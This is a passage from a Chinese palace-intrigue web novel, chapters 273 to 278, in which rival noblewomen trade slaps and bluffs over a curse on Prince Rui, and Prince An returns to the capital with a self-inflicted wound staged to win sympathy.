洛希瑶方才还以为周令宜是因为林惜颜诅咒谢南渊会战死沙场,怕她会捏着这件事情不放,这才摆出那副被人欺辱的姿态,想要先声夺人。 却是没想到她竟然是打着这样的如意算盘。 幸好方才那些百姓散得快,没有听到她刚刚那一番话,不然还真让她得逞了。 又是被诅咒,又是被算计,就算是个泥人也闹了,更何况是洛希瑶这个暴脾气。 当即用意味深长的眼神上下打量了周令宜一圈,而后目露了然道:“也对,若是不会算计人心,也想不出要借林家是势,等事成之后,再取林小姐而代之的想法。” 此言一出,周令宜的心脏骤然一紧。 她怎么就忘记了,上回在皇宫里,平宁郡主也是在的。 沈琼华说她与殿下有男女之情,她尚还可以以‘沈琼华爱慕殿下,觊觎安王妃之位,故意挑拨关系’的理由糊弄过去。 可平宁郡主就不同了,平宁郡主身份尊贵,又是瑞王一党,且京中谁人不知她与兵部尚书之子傅琛两情相悦,这样的借口放在平宁郡主身上根本就行不通。 林惜颜又是被大巴掌又是被推搡了一番,原本有些头晕,可听着这些争锋,话里透露出来的信息。 她后知后觉的感应出来,她……好像被周令宜给算计了? 林惜颜连方才被打的事情都忘记了,当即对周令宜怒目而视,“怎么回事?你算计我?” “你与殿下到底是什么关系?什么叫取我而代之?你想做什么!” 周令宜见林惜颜果真被沈琼华与洛希瑶三两句话就被带歪了,心里气得不行。 果然人太蠢笨了容易被糊弄也不行,这等蠢货都能坐上安王妃之位,实在是……除了家世,帮不了殿下一点。 周令宜心中诽谤,面上却是一副受了大冤枉的委屈表情,连忙站起身,要去拉林惜颜的衣袖。 林惜颜因为方才洛希瑶的一番话,看向周令宜的目光很是警惕,手臂用力一甩就将周令宜的手给甩开了。 周令宜举在半空中的手一僵,在沈琼华面前被这般下了面色令她很是难堪。 但一想到殿下与父亲都被皇上宣回来了,只有林大将军还留在边关,周令宜又只能生生咽下这口气。 她舔着脸,露出讨好的笑,凑到林惜颜身边,低声耳语了几句。 “林姐姐,我与殿下真的没有男女之情,你可千万不要中了她们挑拨离间之计。” “你也不想想,我若是真是她说的那样,对殿下有情义,我岂会等到现在?甚至还会容忍我大姐姐先我一步进安王府服侍殿下?” 最后一句话实在是太有说服力了,没有一个女子会让舍得让心爱的男子接受别的女人的服侍,即便是自己的堂姐,也不行。 这让林惜颜心中的怀疑立时便打消了大半。 也是经过周令宜这一提醒,林惜颜这才想起来这安王府内还有一个周大小姐,不顾脸面,顶着侍妾的名义进了安王府。 若是周令宜真的对安王有情,岂会让堂姐先一步进安王府? 都说一笔写不出两个周字,但周令宜与周令芙却大有不同。 林惜颜觉得,若是周令宜真的对安王有情,发生了那等丑事,应当是将周令芙送去庵堂才是,周令宜完全有这个能力。 毕竟一个当侯爷的爹,与一个五品小官的爹,孰轻孰重,当时的永宁侯府应当清楚。 可她却并没有这样做,反而是让周令芙顺利地进了安王府。 就这一点,也不像是对安王有情的样子。 林惜颜当时远在边关,哪里知晓当时永宁伯府发生的事情,大都是心悦安王以后,派人去打听的。 沈家与永宁伯府之间的事情都是私下里的阴私,即便是当时沈琼华还派人宣扬过,但时过境迁。 永宁侯府觊觎亲戚的家产这种事情与永宁侯府大小姐在老夫人的寿宴上与安王殿下搞在一起被抓了个正着的香艳事情比起来,显然是后者更容易让人记住,也更容易被人编排。 她也想不到周令宜之所以同意周令芙进安王府,就是打着要折磨周令芙的算盘。 若是将人送去了庵堂,岂非太过便宜了周令芙。 周令宜见林惜颜眼神闪烁,知道她动摇了,当即再接再厉道:“林姐姐,这平宁郡主与瑞王是站在一边的,自然是想尽办法挑拨我们的关系,她的话可不可信啊。” 林惜颜一顿,随即想到了什么,看向周令宜的眼神带上了几分审视,“周令芙是你的堂姐,你不与她一块儿,反倒是跟在本小姐身边,你打的什么算盘?” 周令宜一哽,脑子飞快想着借口,很快就找到了一个理由。 她轻叹一口气道:“林姐姐,不瞒你说,我与你交好确实你受了几分祖母的授意。” “说句托大的话,祖母就安王殿下一个外孙,周贵妃娘娘在宫中不能出来,殿下呢,身份高贵,却又礼贤下士,自开府以来,时不时就会去探望祖母,说是替贵妃娘娘尽孝了。” “也正是因此,祖孙二人情谊深厚,自上次堂姐做出那等事情,殿下并未追究,祖母却心怀愧疚。” “所以殿下的亲事定下来之后,祖母特意将我唤到房中,说林姐姐你刚到京城,让我与你打好关系,切莫让京城里不长眼的人冲撞了你。” 见林惜颜蹙着眉头似是在思考,周令宜又道:“林姐姐不必担心,堂姐做出那等事情,再已被府里厌弃,祖母说这一切都是她自己选的,今后是死是活都与伯府无关,至于我……” 周令宜顿了顿,轻笑一声,道:“林姐姐放心,堂姐行事张狂,我与堂姐的关系一向都不好,我自是站在林姐姐你这边的。” 周令宜这一番话是彻底将林惜颜的顾虑都打消掉了。 她眉梢一挑,露出一抹笑,道:“还算你识趣,知道站在本小姐这边,你放心,等本小姐嫁给了安王殿下,定不会少了你的好处。” 第二百七十三章哪来的自信皇上会站在你这边 周令宜听了这话,抿了抿唇,眼中闪过一丝讥讽。 蠢货就是蠢货,三言两语就相信了她的话。 就这样蠢笨的人,将来殿下登基,如何能管理得好后宫。 果然,还是她与殿下更为相配。 危机解除,周令宜不甘心就这样放过沈琼华与洛希瑶。 这二人几次三番给她找麻烦,不出了这口气,她心里憋屈。 周令宜看了沈琼华与洛希瑶的方向一眼,眼珠一转,朝林惜颜低声道:“林姐姐,今日我确实是没想到会碰到沈琼华与平宁郡主。” “也没想到这二人如此张狂,竟敢不将你放在眼里,还敢打你。” “只是眼下殿下打了败仗,瑞王权势正盛,咱们势单力薄,恐怕不能为你出了这口气,实在是委屈你了。” 这句话一下子就将林惜颜的怒火给挑起来了。 是她被打了,还要忍气吞声不成? 周令宜方才说的对,打了胜仗固然是件好事,但胜败乃兵家常事,打了败仗的就没有功劳活该被欺凌吗? 更何况瑞王如今还只是刚刚出京,还没有打胜仗呢,瑞王的人就抖起来了,连她这个准安王妃都敢打。 上一回有瑞王护着沈琼华,今日她倒要看看还有谁来护着! 周令宜的站位遮挡住了沈琼华与周令宜的视线。 二人只能看见周令宜对着林惜颜嘀嘀咕咕的,但声音很轻,听不清说了些什么。 但却能凭着林惜颜露出的一小半身体的肢体动作,判断出她的情绪。 洛希瑶原本就是想着周令宜竟然敢算计她们,那她就要将那件事揭穿,让这二人狗咬狗。 哪知等了半天,林希颜似乎有被周令宜糊弄过去的趋势。 洛希瑶眉头轻蹙,她靠近沈琼华道:“不能吧,这事情都说的这么清楚了,她还能相信周令宜不成?” 沈琼华挑眉,暗道洛希瑶还是与周令宜打交道少了。 她轻声道:“周令宜此人最是奸诈,且颇为不要脸,你看着吧,想要二人反目,没那么容易。” 是嘛? 洛希瑶有些不相信。 都说到这份上了,点明了安王与永宁伯府将来会过河拆桥,林希颜还能相信周令宜,这人得有多蠢? 世界上应当不会有这么蠢的人吧? 就在洛希瑶暗自嘀咕的时候,对上了林惜颜那双目几乎要喷火的眼睛。 林惜颜咬牙切齿道:“你们以为随意说两句话就能挑拨我们的关系,未免也将我想得太蠢了一些,我是不会如了你们的意的!” 沈琼华:“……” 洛希瑶:“……” 真是个蠢货! 沈琼华和洛希瑶惊得都没反应过来,林惜颜却以为二人不作声是心虚了。 心里更加笃定方才不过是这二人的离间计。 幸好自己没有上当! 林惜颜摸着自己有些红肿的脸,目光落在沈琼华身上,接着道:“沈琼华,你竟敢打我,这次我是不会放过你的。” “没有人看到又如何,待会我就顶着这张脸进宫,让皇上评判,让百姓和大臣们都看看,看看瑞王一党是如何嚣张行事的。” “不过是一个小小的商户之女,因着依附了瑞王,居然连皇上亲手下旨赐婚的准安王妃都敢打。” “瑞王这还没打胜仗呢,若是打了胜仗,岂不是要欺负死我,枉我爹爹还在边关为朝廷鞠躬尽瘁呢!” 林惜颜说着,气冲冲地作势便要离开。 周令宜眼底划过一抹亮光。 没想到林惜颜这个蠢货刺激一下还是会长一点脑子的。 此时若是换作是旁人,或许皇上不会理会。 但林惜颜不同,林大将军此刻还在边关守着战局呢,皇上对于林惜颜的话自然要慎重一些。 沈琼华,眼下瑞王不在京城,看还有谁会来救你。 还有平宁郡主,差点坏她大事,也可借此事给她一个教训,让皇上好好看看瑞王一行人是如何嚣张行事的。 周令宜连忙开口,嗓音中透着抑制不住的轻快,“林姐姐,我陪你一起去!” 二人挽着手正要离开,洛希瑶有些沉不住气,不想谢南渊为国出征,却有人在京城败坏他的声誉,刚要出言阻止,一旁的沈琼华却率先笑了起来。 极为幸灾乐祸的笑声,在此刻有些安静的氛围里显得很是有些突兀。 林惜颜顿住了脚步,看向沈琼华,目露不悦道:“你笑什么?” 沈琼华没有回答她的话,而是一边笑着,一边朝她走近,而后在所有人都措不及防之下,朝林惜颜的脸上又扇了一巴掌。 轻声开口道:“当然是笑你蠢啊。” “你哪来的自信,认为在你诅咒瑞王战死沙场后,我打了你,皇上会站在你这边?” 第二百七十四章真是无用 “一边是肆意妄为,张扬跋扈,仗着军功连皇子都敢诅咒的大臣之女,一边是皇上的亲生儿子,想必是任谁都知晓该如何选吧?” “林小姐尽管进宫去向皇上呈情,正好让皇上看看他亲自下旨赐婚的安王妃究竟是何等的胆量。” “这知道的是说林小姐你因安王打了败仗心中不忿才口不择言,这不知道的还以为是安王不满皇上的决策,嫉妒瑞王,心生怨念,才由林小姐的嘴说了出来。” 沈琼华话落,林惜颜与周令宜的脸色顿时煞白如纸。 林惜颜心高气傲,嚣张跋扈惯了,方才诅咒瑞王的话不过是一时怒上心头说的气话。 这下听沈琼华说要将此事告知于皇上,心中这才感到些许害怕。 她还没有张狂到认为在皇上心中自己比瑞王的性命还重要,诅咒皇子的罪名就够她喝一壶的了。 而周令宜整个人也犹如被一盆凉水兜头浇下,浑身打了个激灵。 她太想给沈琼华一点教训了,竟忽略了沈琼华为何会掌剁林惜颜。 若是沈琼华将实情说出来,用脚指头想也知晓皇上会有多么的震怒。 不说皇上又多么宠爱和看中瑞王,单说瑞王如今带兵出征,身为主帅。 诅咒瑞王战死沙场,不就是诅咒朝廷会打败仗吗? 此事若是宣扬出去,恐怕百姓一人一口唾沫便能淹死林府和永宁伯府,便是脸殿下,恐怕也会受牵连。 不,决不能让这种事情发生。 洛希瑶听了沈琼华的话,倒是有些乐了,她一拍巴掌,好整以暇地看着周令宜与林惜颜,道:“琼华说的对,你们尽管进宫去,谁不去谁是蠢货。” “我真是很好奇当皇上知晓你们诅咒瑞王殿下战死沙场,会是何等反应。” 周令宜脸色凝重,神色晦暗不明,半晌后,才柔柔弱弱的开口道:“郡主,华表姐,你们在说什么?瑞王殿下乃是皇子,就是借给我们一百个胆子,我们也不敢诅咒瑞王殿下啊。” “倒是你们,反倒是你们,仗着瑞王殿下的权势,折辱林姐姐。” “你们看,林姐姐的脸都被打肿了,现在那巴掌印都还未消呢。” 方才那一番话除了四人,没有别人知晓,她们大可以不认账,反正沈琼华也没有证据,反倒是林惜颜脸上的伤,却是实打实的印记。 林惜颜经过周令宜的提醒,也反应了过来,连忙道:“就是,你们说我诅咒瑞王,有什么证据,我这脸上的巴掌印可还醒目着呢。” 洛希瑶双目瞪圆,没想到竟有这等厚颜无耻之人,简直是睁着眼睛说瞎话,道:“你们还想抵赖不成,我可是亲耳听见了。” 周令宜轻笑道:“平宁郡主,你可一直都是偏向瑞王殿下的,你的话可当不了证据。” 如此理直气壮,洛希瑶简直气炸了,正想冲上前,却被沈琼华给拦住了。 周令宜这是在拿话激洛希瑶呢,若是洛希瑶一个冲动将周令宜也给打了,就更能将此事定义为是她们仗势欺人,遮掩林惜颜方才诅咒瑞王的话。 沈琼华对上周令宜暗藏得意的眼神,噗嗤一声笑了出来。 “周令宜,你是不是觉得话未留痕,没有证据,你们打死不承认,这件事情便占了上风?” 周令宜见沈琼华这副不慌不忙的样子,心里浮现过一抹不好的预感。 果然,只见沈琼华挑眉,似笑非笑地道:“方才你说那些似是而非的话的时候,这城楼上确实是已经人去楼空。” “但你就能保证,林希颜诅咒瑞王殿下时,这城楼上也没有人吗?真的没有人听到她说的那些话吗?” 周令宜脸上的笑容一滞,道:“你以为吓唬我,我就会被你镇住?” 林惜颜也道:“就是,哪就那么巧被人听到了。” 沈琼华轻笑道:“那好啊,既然你们自己找死,那就尽管进宫去。” “若是真有百姓听到了,被找出来作证,这诅咒皇子的罪名再加上欺君之罪,啧啧啧~” 周令宜与林惜颜对视一眼,均在对方眼中看到了犹豫与惊惧。 实在是方才她们都是背对着城楼的台阶的,根本就不知晓城楼上的百姓是何时走空的。 若是真有百姓听到了,这可是欺君之罪…… 沈琼华勾唇,看向二人的目光满是不屑,“我敢赌一把,怎么,你们不敢吗?” 周令宜眼神死死地盯着沈琼华,想要从她脸上看出漏洞,看出她在虚张声势。 可沈琼华脸上有轻蔑,有笃定,却唯独不见心虚,仿佛一切尽在掌握当中,挖了个坑看着她们往里跳。 周令宜攥紧了手中的帕子,难道林惜颜说的话真的被人听到了,所以沈琼华才这般有恃无恐? 洛希瑶自然也知晓了沈琼华的用意,笑着道:“瞧我,一时竟犯了蠢,你们不是想去皇上面前呈情?尽管去,看到时皇上惩罚的到底是谁!” 林惜颜是个不禁激的,立刻便将方才的顾忌抛之脑后,道:“去就……” 话还未说完,就被周令宜拉住了。 周令宜轻轻摇头,附在林惜颜耳边轻声道:“林姐姐,此事不可大意。” 林惜颜正想开口嘲讽周令宜胆子小,被一个商户女三言两语给镇住了,就听见周令宜接着道:“林姐姐,眼下边关打了败仗,林将军的处境也很是艰难。” “若是真有人证,背上诅咒皇子外加欺君之罪的罪名,即便是林将军在边关立功了,将军府只怕也难逃罪责。” 周令宜将事情说得这般严重,林惜颜方才怒气上头的气泄了下来,一时之间也有些迟疑。 洛希瑶见两人嘀嘀咕咕一看就是意见不合的样子,顿时挤兑道:“怎么样?你们考虑好了没有?” “要进宫呈情就赶紧去,我们奉陪到底,别在这拖拖拉拉的,烦人的很,我一晚上没睡好,还等着回去补觉呢!” 说着,洛希瑶打了个大大的哈欠,眼中都泛出了些许泪花。 一副困极了的样子,摆明了未将周令宜与洛希瑶放在眼里。 周令宜与林惜颜都觉得受到了羞辱,本来已经放弃了进宫呈情,可一看这情形,两人却又倔强地不肯张口。 洛希瑶可不想在两个讨厌的人身上浪费时间,她是真的没睡好,急需补觉。 见这二人跟哑巴了一样,当即嘀咕道:“方才不是挺能说的吗?这下变哑巴了?” 随即不耐道:“既然你们不进宫,那我和琼华就不陪你们玩了,先走一步了。” 说着,拉着沈琼华的手就走了。 望着二人离去的背影,林惜颜只觉得屈辱极了。 以往在边关,人人都要让着她,捧着她,可自从来到了京城之后,虽被赐婚给了安王,可她却处处受气,尤其是结识了周令宜之后。 屈辱转化为怒气憋在心头,顷刻间便想要发泄出来,而周令宜正好就成了接收的对象。 谁让方才周令宜拦着她呢! 林惜颜冷脸看向周令宜,声音中透着蛮横,“你倒是安心了,也对,这挨打的又不是你,你当然能轻轻揭过。” “枉你身为世家贵女,竟被一个商户女三言两语给拿捏了,真是无用!哼!” 第二百七十五章安王受伤回京 说完,直接用力甩开周令宜的手,径自朝前走去。 周令宜没有想到林惜颜会突然发难,一时没有防备,差点被摔在地上,还好身旁的采薇及时扶住了她。 周令宜站稳,看着林惜颜离去的背影,差点咬碎一口银牙。 林惜颜这个蠢货! 若不是她没有脑子,落人话柄,自己又岂会这般瞻前顾后! 如此好的机会就这么毁了,周令宜心中不甘极了。 可是事已至此,也别无他法,只能吃下这个哑巴亏。 一切还要等殿下回京之后好好商议才是,决不能轻举妄动。 周令宜深吸一口气,眼下心中的委屈与怒火,扬起一张笑脸,朝林惜颜的方向追了上去。 …… 马车在宽阔的道路上缓缓行驶。 洛希瑶毫无形象的斜躺在车厢里,接过了沈琼华递来的一杯热茶。 她眼下青黑,眼皮子都一抖一抖的打着颤儿,却仍旧坚持打起精神与沈琼华说话。 “琼华,你真是太机智了,要不是你说的那些话,将她们给镇住了,那两人指定不要脸要闹到皇上跟前。” 虽然自己是有理的一方,但洛希瑶也深知此事不宜闹大。 眼下表哥与爹爹出征,京城里不知道多少人盯着镇国公府以及依附于表哥的那些官员。 在一些百姓眼中,表哥是得利方,安王暂时落了下风,若是真的与周令宜和林惜颜起了冲突,还不知道怎么在背后编排她们,说她们仗势欺人呢。 想到林惜颜挨的那两巴掌,洛希瑶心里喜滋滋的,道:“那林惜颜和周令宜自以为可以狡辩,却没料到有百姓听到了,我们有人证,只能咽下这个哑巴亏。” “就是可惜,没能让我扇两巴掌解气,不过琼华你扇了也是一样的。” 洛希瑶原本是不喜欢这样打人打脸的,可是谁让林惜颜那张嘴太过恶毒,竟然诅咒谢南渊战死沙场。 那一瞬间,洛希瑶对林惜颜的厌恶甚至超过了心思歹毒,狡猾狠辣的周令宜。 洛希瑶脸上的笑容灿烂极了,沈琼华都有些不忍打破。 然而这不忍之心只持续了一瞬,沈琼华的心就坚硬了起来。 她面无表情道:“其实……那些百姓一早就离去了,并没有听到林惜颜说的那些话。” 洛希瑶灿烂的笑容缓缓落下,随即收拢,而后逐渐转化为了惊恐,困意一下子就没了,“一早就离去了,那你方才……” “自然是炸她们的,我可没说那些百姓一定听到了,我只说赌一把,是她们自己不敢赌的,怪得了谁?”沈琼华慢悠悠道。 洛希瑶:“……” 琼华这也太逼真了些,那般淡定从容,胸有成竹,连她都被骗过去了。 洛希瑶有些好奇地看向沈琼华,问道:“琼华,你方才听到她们要进宫向皇上呈情,心里不慌张吗?竟然还敢再甩一巴掌。” 谁知沈琼华闻言眉头一挑,颇为霸气道:“我想甩就甩,反正都已经是不死不休的局面了,多甩一巴掌就挣到一个,至于慌张……呵!” “就林惜颜那个脑子,一直被周令宜牵着走,周令宜的脾气秉性我早已经一清二楚,闭着眼睛都知道她在想什么。” 沈琼华心中本就有些忧心,上一世谢南渊并没有参加这场战役,他是否会安全归来沈琼华心中没底。 林惜颜公然诅咒谢南渊会战死沙场,可不就正好装上沈琼华的刀口上了。 所以她打了一个不过瘾,之后想也没想就借机补上了第二个。 洛希瑶:“……” 她怎么觉得琼华这行事作风,让她有些似曾相识呢? 直到马车行驶到镇国公府,洛希瑶终于撑不住了,手脚并用准备下马车。 沈琼华一边扶着她,一边叮嘱她这段时间一定要注意镇国公的书房。 洛希瑶上下眼皮都快粘到一块了,脑子都不清楚,沈琼华说一句她就点一下头,对于沈琼华过分关注镇国公府的书房,竟一点怀疑都没有。 沈琼华见洛希瑶这副样子,知道她这会儿估计意识已经迷离了,便也不再抓着她絮叨,让身边的人小心伺候着,目送洛希瑶踉跄着进了镇国公府的大门后,这才离去。 之后的几日,京城风平浪静。 边关没有消息传来,安王一党也没有兴风作浪。 倒是洛希瑶,镇国公不在京中,不能管束她了,她仿佛如笼中放飞的鸟儿,整日往沈家跑,甚至到了晚上还赖着不肯走。 后来甚至沈家都已经有了专属于她的屋子。 就在沈琼华已经习惯这样安稳祥和的日子时,在一个傍晚,安王回了京城。 沈琼华刚得到安王回京的消息,没过多久,便又得到一个消息:安王在边关受了重伤,是被抬着回来的。 一路被抬着穿过街巷进了宫,紧接着太医院的一群太医都被皇上宣召去了太极殿问诊。 有不少百姓看到了这一幕,纷纷夸赞安王。 沈琼华:“……” 第二百七十六章儿臣想要将功折罪 太极殿偏殿。 谢祁安躺在软榻上,半睁着眼,面色苍白又扭曲,豆大的汗珠从额间沁出滴落在床榻之上。 他的周围跪了一圈太医,正轮流为他医治。 周贵妃站在外间,一盆血水被宫女端着从她面前略过,听着里头谢祁安传出的隐忍的闷哼声,心都揪在了一处。 泪水不自觉从眼眶溢出,周贵妃的手中拿着帕子不停擦拭着眼角,呼吸中似是都带着些许的哽咽。 也不知过了多久,以太医院院正为首的一众太医才从里间出来。 周贵妃立刻上前问道:“吴院正,安王的伤势如何?” 吴院正擦了擦额角的细汗,道:“贵妃娘娘不必担忧,安王殿下的伤势已经稳住了。” 随后,他朝坐在上首的谢荣拱手道:“皇上,安王殿下浑身上下有五六处伤,其余的倒还好,经由军医处理了,只需坚持涂抹一些伤口痊愈的药便可。” “较为棘手的是安王殿下胸膛处的一处刀伤,距心肺只有一寸的距离。” “若是再偏一点,恐怕就……” “军医医术有限,且安王殿下这差点致命的伤又是新伤,受伤没多久就长途跋涉,未曾好好将养,以至于伤口流脓。” “微臣方才已经将流脓的腐肉刮去,又重新给上了药包扎好,待会再开几贴药,让人服侍安王殿下服下,应当就无大碍了。” “只是这伤到底是重了些,又经次一遭,只怕这两日会发热,还是要让人日夜看守才是。” “还有,此次安王殿下差点伤及心肺,这段时间还是要好好静养才是,起码七日之内不要随意下榻走动。” 听了吴院正的话,谢荣眼眸慢慢眯起,目光放空,左手不断地转着右手大拇指上的玉扳指,不知道在想些什么。 半晌,才开口道:“朕知道了,你们先退下去吧。” 一众太医应声退下,屋内顿时空旷了些许。 周贵妃再也忍不住,疾步走过屏风,一眼就看见了躺在软榻上面白如纸,身上包着厚厚的纱布的谢祁安。 泪水一下子就涌了出来,她三步并作两步走至榻边,双手颤抖着却不知该往哪儿放,嘴唇嗡动,“怎么……怎么会伤得这样重。” 谢祁安无声笑了笑,他此刻看起来分外羸弱,却还不忘安慰周贵妃,“母妃不必担忧,吴院正不是说了,儿臣没事,好好将养一段时间就是。” “相较于那些战死沙场的士兵来说,儿臣已经很幸运了。” 最后一个字落下,谢祁安看向了周贵妃的身后,喊了一声,“父皇。” 说着,便要下床行礼。 谢荣上前按住他,“不必多礼,现在感觉如何?” 谢祁安道:“感觉好多了,多谢父皇关心。” 顿了顿,谢祁安又道:“父皇,都是儿臣无用,中了陈国的奸计,弄丢了原本已经夺回来的城池。” 谢荣拍了拍他的肩膀,道:“过去的事情就不要再提了,眼下最要紧的,是你赶紧将身体养好。” “至于边关的事情,朕已经都交由渊儿处理了,朕相信他会安排妥当的,就不用你操心了。” 谢祁安听着谢荣的话,面上平静无波,掩藏在衣袖下的手却不自觉收紧。 他笑了笑,道:“儿臣明白,三弟领兵打仗多年,战功赫赫,边关的战事交给他,儿臣没什么不放心的。” “儿臣会好好养好身体,不让父皇与母妃担忧。” 谢荣听他这样说,很是满意的点点头,“这样就对了。” 谢祁安眸色一暗,随即似是心口有些不适,捂着胸膛的伤处用力咳了起来,一声接着一声,咳得脸都红了。 周贵妃心里一惊,有些惊慌道:“安儿,你怎么了?是不是哪里不舒服,还是哪里疼?” “来人啊!快去将吴院正喊回来!” 谢祁安这才急忙止住了咳,拦住周贵妃,声音虚弱道:“母妃,儿臣无事,您不必这般紧张。” 随后他又看向谢荣,神情中似是透着些许请求,开口道:“父皇,儿臣有一个不情之请,希望父皇能够答应。” 听到这话,谢荣眉目稍敛,方才的些许关心消散,并不言语,等着谢祁安继续将话说下去。 谢祁安道:“父皇,儿臣想待伤势痊愈之后,能为边关战事再进绵薄之力。” 话落,空气中安静了一瞬。 谢荣眉梢一挑,少顷才道:“你应当知道,你眼下身受重伤,即便是伤势好了,短时间内也不宜再上战场。” 谢祁安声音坚毅道:“儿臣知晓,万不敢为难父皇。” “只是此次边关战事不利,有一部分的责任在儿臣,儿臣想要将功折罪。” “不拘是干什么,只要能为边关百姓,为大军做一些事情,儿臣便心满意足。” 谢荣神色晦暗,并没有答应。 谢祁安见状调整身形在床榻之上跪了下来,“儿臣只是想让自己的良心能好过一些,还望父皇能够准许。” 随着他的动作,伤口崩裂,包裹着胸膛的白色纱布隐约透出些许殷红,周贵妃看见了急忙道:“安儿,你快躺好,伤口又裂了,吴太医说了你要静养才是。” 谢祁安神色执拗,满心期盼地看着谢荣。 谢荣神色喜怒难辨,既没有答应,也没有拒绝,只是淡淡道:“你先养伤,待养好了伤,再说。” 随后站起身,刚要迈出脚步,忽而又一顿,道:“这段时间就住在宫中吧,有吴院正照料着,尽快将身体养好。” “周贵妃,好好照顾安王。” 而后不急不缓地离开了偏殿。 回到处理政事的正殿,谢荣坐在龙椅上,眸色幽深,盯着案上的奏折出神。 李顺全端着托盘蹑手蹑脚地走进来,轻轻将茶盏放在谢荣的手边。 刚要收回手,却发觉帝王的目光已经落在了他身上,“安王如何了?” “安王殿下已经重新包扎过,跟着贵妃娘娘回了延禧宫静养了。”李顺全俯身恭敬道。 谢荣淡淡地嗯了一声,一点情绪也不曾泄露,端起了手边的茶盏。 打开茶盖,清香扑面而来,刚刚送至唇边,正要嘬上一口,忽地又放了下来。 李顺全余光瞥见这一幕,刚刚放下的心顿时又提了起来。 果然,就听见谢荣道:“安王说想要痊愈后,再为边关战事尽一份力,你觉得如何?” 这大殿之上除了谢荣就只剩下李顺全在一旁伺候,谢荣问的是谁的意见不言而喻。 李顺全心中暗暗叫苦,可天子问话却也不能不答。 他在心中斟酌了一番,笑着道:“奴才觉得安王殿下对皇上很是有孝心,便是重伤在身,也不忘为皇上分忧。” “这宫里的小主子们呀,各个都好,皇子们在外冲锋陷阵为朝廷出力,公主们在皇上膝下承欢,逗皇上开心,便是最小的五皇子,最近功课上都用功了许多。” “皇子公主们对皇上孝敬,皇上对他们也体恤,不忍安王殿下身受重伤还记挂着边关的事情。” “至于到底该如何,奴才也不知道,便是奴才这个无儿无女之人,也觉得两难呢。” 李顺全明知道谢荣问的是什么,却偏偏剑走偏锋,装傻,曲解谢荣的意思。 听着李顺全的话,谢荣冷哼了一声,斜睨了李顺全一眼,道:“老狐狸。” 李顺全笑呵呵道:“奴才这说的可都是实话啊。” 那些恭维的话显然让谢荣的心情好了不少。 李顺全看谢荣端起茶盏,一口气饮了大半,便开始批阅奏折,便知晓这事是过去了。 当下心里松了一口气,后背湿漉漉的,这才惊觉自己已然出了一身冷汗。 第二百七十七章他得有命从边关回来! 延禧宫。 小太监们将谢祁安抬进了偏殿内室之后,周贵妃便让人都退了下去。 门一关,周贵妃的脸色便沉了下去。 她几步走到谢祁安面前,道:“安儿,不是说只是随意受点伤吗?为何要弄得这般严重?” “你知不知道那刀伤差一点就插入了你的心肺,你若是出了什么事,你让母妃和你妹妹怎么办?” “岂不是如了那小贱种的意,将储君之位拱手相让了?” 周贵妃心中又是心疼又是气愤,认为谢祁安下手没轻没重。 没错,谢祁安胸膛上的刀伤并不是杀敌杀的,而是他自己弄出来的,这事周贵妃也知情。 谢祁安在边关确实是受了一些伤,但却只是一些轻伤,毕竟有那么多士兵在,也不需要他真的上阵杀敌。 只不过为了拉拢人心,才在安全的范围内上战场了杀了陈国几个士兵,受了点轻伤。 至于为何要弄这一出,还要从皇上下令让瑞王出征那日说起。 周贵妃得了谢荣派谢南渊接替谢祁安的消息,心中气愤不已。 觉得谢祁安之前打了那么多胜仗,为大越夺回了三座城池,怎么说也有功劳,只不过是一时失利,皇上就要抬举谢南渊。 若是谢南渊去了边关,打了胜仗,那他在军中的威望岂不是更甚,而她的儿子却打了败仗灰溜溜地回了京城。 两相形成对比,还不定有多少人偷偷在背后笑话她呢,便是那些低贱的百姓也肯定是都倒向了谢南渊那个贱种。 她心里咽不下这口气。 当即便派人将消息传出去,命人即刻送往边关,让谢祁安赶紧想想办法。 即便是不能赢,也不能就这般灰头土脸地回来。 而远在边关的谢祁安得了消息,心中也很是不忿,却也深知圣旨已下,再无更改,便是他如何不情愿,也得奉召回京,将边关的事情交给谢南渊。 然而不得不说,周贵妃与谢祁安不愧是母子,二人想到了一块去。 即便是回京,也不能这般灰头土脸的回去。 于是,他与永宁侯一合计,便自导自演了一出戏。 让死士扮作刺客闯入他的营帐内刺杀他,打斗一番后,刺客咬舌自尽,而他也深受重伤,性命垂危。 如此一来他便不是打败仗的失败者,而是拼死保卫国家,命垂一线的英雄。 皇上的旨意送到边关时,他刚从死亡边缘被拉了回来。 谢祁安深知,这伤回了京城定逃不过太医院的太医探查,因此下手的时候虽然顾忌着自身的性命,却也没手软。 因着他的伤,又耽搁了几日,他才回的京城。 还是被人给抬回去的。 果然一入京便招来了百姓的侧目。 再有他事先安排的人宣扬了一番,怎样也会减少一些打败仗流逝的民心。 见周贵妃言辞激动,谢祁安缓缓道:“母妃不必担忧,儿臣有分寸,是算准了不会伤及自身性命的。” “若是不做的逼真一些,如何能让父皇相信,让那些百姓相信。” 谢祁安的话似是一双手安抚了周贵妃急躁的内心,然而也只是一瞬。 周贵妃扶着谢祁安躺下,看着谢祁安苍白的脸,眼中闪过一抹心疼。 都说痛在儿身,疼在娘心,若不是被逼无奈,周贵妃是断然不会同意谢祁安这样损伤自身身体的。 她面带怒意,神情激动道:“都是皇上太过偏心,你辛辛苦苦打了那么多胜仗,只不过是打了几次败仗,他就将你喊回来。” “还让瑞王接任你的位置,这不是明摆着送立功机会给他!” “若不是皇上这样做,你又何必这样!” 谢祁安闻言,冷笑一声,“母妃,父皇不是向来如此吗?” “就因着他是先皇后所出,是中宫嫡子,从小便被父皇带着身边教养,吃用,所学,都是兄弟当中最好的。” “那么小的年纪就被镇国公带去边关,积累了那么多的军功,等我有意识之时,他便已经凌驾于我之上。” “父皇处处为他着想,那么宠爱他,恐怕我们其他几个兄弟姐妹加起来都不如他在父皇心中的分量。” 周贵妃听见谢祁安这么说,心中顿时愧疚不已,“都是母妃没用,才让那小贱种能一直压制你。” “等这次他从边关立功回来,只怕你父皇就会动了立他为储的心思了。” “可惜我儿,相貌堂堂,才情斐然,才华却得不到施展。” 听到周贵妃说立储,谢祁安的神色俨然冷了几分,嗤笑一声道:“想要当储君?” “他得先有命从边关回来!” 第二百七十八章看穿 听到周贵妃说立储,谢祁安的神色俨然冷了几分,嗓音寒凉道:“想要当储君?” “他得先有命从边关回来!” 周贵妃原本满脸凝重,忽而听到谢祁安这样说,反倒是放松了几分。 侧眸看向谢祁安,道:“哦?安王可是有何谋划?” 谢祁安冷笑一声,道:“母妃安心看着便是,谢南渊这战功可不是那么好得的。” “此次,我定要将他们一起铲除,让父皇明白只有我才是储位最适合的人选!” 延禧宫里,周贵妃妥帖照顾着谢祁安,安心静养,宫外的人目光却都聚集在了延禧宫中。 